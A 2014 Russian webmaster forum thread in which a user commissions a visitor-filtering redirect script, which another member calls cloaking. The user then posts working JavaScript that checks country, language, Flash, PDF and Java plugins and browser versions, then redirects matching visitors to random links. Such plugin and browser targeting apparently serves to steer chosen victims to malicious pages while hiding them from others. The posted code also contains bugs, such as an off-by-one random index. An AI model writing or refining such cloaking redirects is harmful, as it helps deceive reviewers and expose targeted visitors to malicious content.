Форум успешных вебмастеров - GoFuckBiz.com

  Форум успешных вебмастеров - GoFuckBiz.com > Бизнес-решения > Скрипты, программы и технические решения
Дата
USD/RUB58.7570
BTC/USD0.0000
Скрипты, программы и технические решения Обсуждаем скрипты, программы и новые технологии.

Закрытая тема
Опции темы Опции просмотра
Старый 30.01.2014, 23:14   #1
the4gamblers
__٩(̾●̮̮̃̾•̃̾)۶__
 
Регистрация: 30.05.2010
Сообщений: 257
Бабло: $95151
Question [help] скрипт редиректа

всем привет нужен небольшой скрипт редиректа по фильтрам.

При заходе на страницу посетителя скрипт должен проверять:
страну посетителя и язык браузера
наличие плагинов flash, pdf, Java
версии браузеров
реферер

При совпадении с заданными параметрами делать редирект на указанный адрес. Линки для редиректа брать из файла рандомно (в файле линки построчно)

Задаваемые переменные для редиректа:
cтрана.
язык браузера. при проверке языка должен быть параметр запрещенного языка при обнаружении редирект не делать.
пример указан язык fr для редиректа и язык en для запрета, при заходе посетителя смотрим если язык браузера fr,en то редиректа неделаем (языков запрета может быть несколько)
наличие плагинов flash, pdf, Java либо проверяем их все либо проверку можно отключить на каждый плагин или отключить совсем проверку.
версии браузеров для редиректа (on\off):
FF (все версии)
Chrome (ниже версии 31)
Safari (ниже версии 6.1)
IE (9, 10, 11)
Реферер если пустой не редиректить если не пустой то редиректить. (on\off)

Заранее спасибо
the4gamblers вне форума  
Старый 30.01.2014, 23:17   #2
masolit
Senior Member
 
Аватар для masolit
 
Регистрация: 18.08.2007
Сообщений: 1,105
Бабло: $195515
По умолчанию

так и скажи нужен клоакинг ))) такое только на заказ делается и если годное то стоит дорого
masolit вне форума  
Старый 30.01.2014, 23:20   #3
the4gamblers
__٩(̾●̮̮̃̾•̃̾)۶__
 
Регистрация: 30.05.2010
Сообщений: 257
Бабло: $95151
ТС -->
автор темы ТС По умолчанию

Цитата:
Сообщение от masolit Посмотреть сообщение
так и скажи нужен клоакинг ))) такое только на заказ делается и если годное то стоит дорого
да что там дорогого то ? заказывал подобное год назад за $30 там строк 40 кода было, умер скрипт вместе с жеским щас вот опять все заного нужно делать
помогите бразы
the4gamblers вне форума  
Старый 30.01.2014, 23:23   #4
masolit
Senior Member
 
Аватар для masolit
 
Регистрация: 18.08.2007
Сообщений: 1,105
Бабло: $195515
По умолчанию

ну за 30$ ахаха я предстваляю что напишут )))
masolit вне форума  
Старый 30.01.2014, 23:24   #5
the4gamblers
__٩(̾●̮̮̃̾•̃̾)۶__
 
Регистрация: 30.05.2010
Сообщений: 257
Бабло: $95151
ТС -->
автор темы ТС По умолчанию

Цитата:
Сообщение от masolit Посмотреть сообщение
ну за 30$ ахаха я предстваляю что напишут )))
да нормально все работало претензий небыло
the4gamblers вне форума  
Старый 30.01.2014, 23:34   #6
Strikelol
Senior Member
 
Регистрация: 31.03.2011
Сообщений: 3,056
Бабло: $632595
По умолчанию

а кроме js реально определить плагины-версии? киньте линком
Strikelol вне форума  
Старый 02.02.2014, 01:15   #7
the4gamblers
__٩(̾●̮̮̃̾•̃̾)۶__
 
Регистрация: 30.05.2010
Сообщений: 257
Бабло: $95151
ТС -->
автор темы ТС По умолчанию

не актуально, нашел человека
the4gamblers вне форума  
Старый 02.02.2014, 02:25   #8
krabson
Senior Member
 
Аватар для krabson
 
Регистрация: 05.10.2009
Сообщений: 632
Бабло: $176055
По умолчанию

может и скрипт выложишь)
__________________
PharmCash - Лучшие условия и профит в фарме. Hold-0, Refunds-0, Commission–50%, CPU+500. Google нас любит!
krabson вне форума  
Старый 04.02.2014, 23:31   #9
the4gamblers
__٩(̾●̮̮̃̾•̃̾)۶__
 
Регистрация: 30.05.2010
Сообщений: 257
Бабло: $95151
ТС -->
автор темы ТС По умолчанию

вот что мне навояли , посмотрите кто разбираеться может какие замечания будут.

Код:
window.onload=function(){checkRedirect();}
function checkRedirect(){//Если функция вернет false тогда не редирект.
	var badCountry=new Array('FR');//разрешенные страны
	var badLang=new Array('en','en-us');//запрещенные языки
	var checkF=true;//вкл/выкл проверку флеша
	var checkP=true;//вкл/выкл проверку пдф
	var checkJ=false;//вкл/выкл проверку джава
	var checkB=true;//вкл/выкл проверку браузера
	var checkR=false;//вкл/выкл проверку реферрер
	if(checkF==true) if(!navigator.plugins["Shockwave Flash"]) return false;
	if(checkP==true) if(!navigator.plugins["Adobe Acrobat"]&&!navigator.plugins["Chrome PDF Viewer"]&&!navigator.plugins["Foxit Reader Plugin for Mozilla"]) return false;
	if(checkJ==true) if(!navigator.plugins["Java(TM) Platform SE 7 U51"]) return false;
	if(checkR==true) if(!document.referrer) return false;
	var country=geoip_country_code();
	var checkCountry=0;
	for(var i=0; i<badCountry.length; i++) if(country.indexOf(badCountry[i])!=-1) checkCountry=1;
	if(checkCountry==0) return false;
	var language=navigator.language||navigator.userLanguage;
	for(var i=0; i<badLang.length; i++) if(language.indexOf(badLang[i])!=-1) return false;
	if(checkB==true){
		if(navigator.userAgent.match('Chrome/')&&parseInt(navigator.userAgent.replace(/^.*Chrome\/([\d\.]+).*$/i, '$1'))<31) return false;
		if(navigator.userAgent.match('Version/')){
			var str=navigator.userAgent.replace(/^.*Version\/([\d\.]+).*$/i, '$1');
			if(parseInt(str)<6) return false;
		}
		var checkIE=0;
		if(navigator.userAgent.match('rv 11')) checkIE=1;
		if(checkIE==0) if(navigator.userAgent.match('MSIE')) if(!navigator.userAgent.match('MSIE 9')&&!navigator.userAgent.match('MSIE 10')) return false;
	}
	var range=links.length-0+1;
	range=Math.floor(Math.random()*range)+0;
	top.location.href=links[range];
}
the4gamblers вне форума  
Старый 04.02.2014, 23:45   #10
Юнга
white powder
 
Аватар для Юнга
 
Регистрация: 29.04.2007
Сообщений: 2,649
Бабло: $351100
По умолчанию

Цитата:
if(!navigator.plugins
на любом ИЕ, кроме 11, эта конструкция соснет
__________________
господин мойва любит вас
Юнга на форуме